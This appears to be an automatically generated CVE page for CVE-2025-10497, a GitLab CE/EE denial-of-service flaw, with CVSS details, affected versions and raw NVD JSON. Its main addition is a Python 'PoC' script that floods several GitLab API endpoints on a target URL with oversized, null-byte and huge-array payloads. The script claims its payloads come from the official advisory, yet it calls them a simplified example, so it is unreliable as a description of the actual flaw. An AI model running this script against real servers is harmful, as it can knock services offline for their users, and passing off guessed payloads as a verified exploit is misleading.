Security Vulnerability Report
中文
CVE-2025-10497 CVSS 7.5 HIGH

CVE-2025-10497

Published: 2025-10-27 00:15:40
Last Modified: 2025-10-27 17:43:17

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.10 before 18.3.5, 18.4 before 18.4.3, and 18.5 before 18.5.1 that could have allowed an unauthenticated attacker to cause a denial of service condition by sending specially crafted payloads.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:18.5.0:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE 17.10.x < 18.3.5
GitLab CE/EE 18.4.x < 18.4.3
GitLab CE/EE 18.5.x < 18.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10497 PoC - GitLab DoS Exploit # Target: GitLab CE/EE < 18.3.5, < 18.4.3, < 18.5.1 # Note: Specific payload details obtained from official GitLab security advisory import requests import sys import time def check_version(target_url): """Check GitLab version""" try: response = requests.get(f"{target_url}/api/v4/version", timeout=10) if response.status_code == 200: version_info = response.json() return version_info.get('version', 'unknown') except: return None def exploit_dos(target_url, payload_path=None): """ Send DoS payload to vulnerable GitLab endpoints Based on vulnerability in GitLab issues API handling """ print(f"[*] Targeting: {target_url}") # Check if target is vulnerable version = check_version(target_url) if version: print(f"[+] Detected GitLab version: {version}") # Common vulnerable endpoints to test endpoints = [ '/api/v4/projects', '/api/v4/issues', '/api/v4/users', '/api/v4/groups' ] # Malicious payload patterns (simplified example) malicious_payloads = [ {'title': 'A' * 10000}, # Oversized input {'description': '\x00' * 5000}, # Null byte injection {'labels': ['A'] * 1000}, # Array overflow ] print("[*] Sending DoS payloads...") for endpoint in endpoints: for payload in malicious_payloads: try: response = requests.post( f"{target_url}{endpoint}", json=payload, headers={'Content-Type': 'application/json'}, timeout=5 ) print(f"[*] Sent payload to {endpoint}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed (target may be affected): {e}") return True return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-10497.py <target_url>") print("Example: python cve-2025-10497.py http://gitlab.example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_dos(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10497", "sourceIdentifier": "[email protected]", "published": "2025-10-27T00:15:39.650", "lastModified": "2025-10-27T17:43:17.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.10 before 18.3.5, 18.4 before 18.4.3, and 18.5 before 18.5.1 that could have allowed an unauthenticated attacker to cause a denial of service condition by sending specially crafted payloads."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "17.10.0", "versionEndExcluding": "18.3.5", "matchCriteriaId": "4A07627F-FE09-440A-854E-D5456FFA132F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "17.10.0", "versionEndExcluding": "18.3.5", "matchCriteriaId": "6B7E6DED-6510-4DFF-A2AA-000518999F0B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.3", "matchCriteriaId": "7B4DC1E2-0920-4A1B-8AE8-89B7FDF0897A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.3", "matchCriteriaId": "425AEB81-EA04-4702-99F8-B623614F6901"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.5.0:*:*:*:community:*:*:*", "matchCriteriaId": "3D74D76F-A787-40A8-A20F-C48C48983B10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.5.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "CCF08EA3-6D3E-4388-BA9D-A992B771998F"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/10/22/patch-release-gitlab-18-5-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/570336", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3338151", "source": "[email protected]", "tags": ["Permissions Required"]}]}}